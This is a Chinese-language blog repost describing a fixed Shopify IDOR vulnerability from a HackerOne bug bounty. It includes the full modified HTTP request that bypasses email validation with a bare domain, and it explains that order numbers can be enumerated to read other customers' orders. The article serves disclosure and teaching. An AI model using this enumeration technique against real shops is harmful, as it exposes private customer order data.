声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
前言
分享Shopify的一个IDOR漏洞 2500 美元,漏洞已修复。
正文
白帽子找到一个正常查询订单的接口,发现可以通过这个IDOR漏洞,获取在该Shopify商店下的任何订单的订单信息
原始请求:
正常情况下,Shopify服务端已经对email与order_number值做了唯一验证,直接修改order_number或者email 无法通过验证,达不到IDOR。
但白帽发现把email值更改为@gmail.com,@yahoo.com等,前值留空,即可通过验证。
并且发现在正常情况下,order_number 从1000开始计算,存在遍历的可能性
修改后请求如下 :
POST /api/storefront/conversations/lx9vF-DR31d1ePOOCS0Uw2lFUUBjhNqmMTOdkeM631M/order_lookup HTTP/1.1
Host: shopify-chat.shopifycloud.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://okbay44.myshopify.com/
Content-Type: application/json
X-Shopify-Chat-Shop-Identifier: █████████
Origin: https://okbay44.myshopify.com
Content-Length: 113
DNT: 1
Connection: close
{"order_lookup":{"email":"@gmail.com","order_number":"1005","user_token":"███"}}
因此攻击者可以遍历order_number 并使用相同的email来 检索该 order_number 的订单信息。
最终Shopify为这个漏洞支付了2500 美刀作为赏金。
为何价值 2,500 美元?
在安全设计原则方面,人们经常将CIA(机密性、完整性和可用性)三位一体作为指导原则,出现这种漏洞,已经违反了机密原则。
这个漏洞具有中等危害性,幸运的是目前还没有因此漏洞受到攻击而泄露数据,不然造成的后果会更加严重,所以这个漏洞获得了当之无愧的 2500 美元奖励。
提醒:错误不一定要复杂才能造成巨大的破坏。
原始报告
https://hackerone.com/reports/968165
原文始发于微信公众号(BugHunting):Shopify 的一个IDOR漏洞 2500 美元?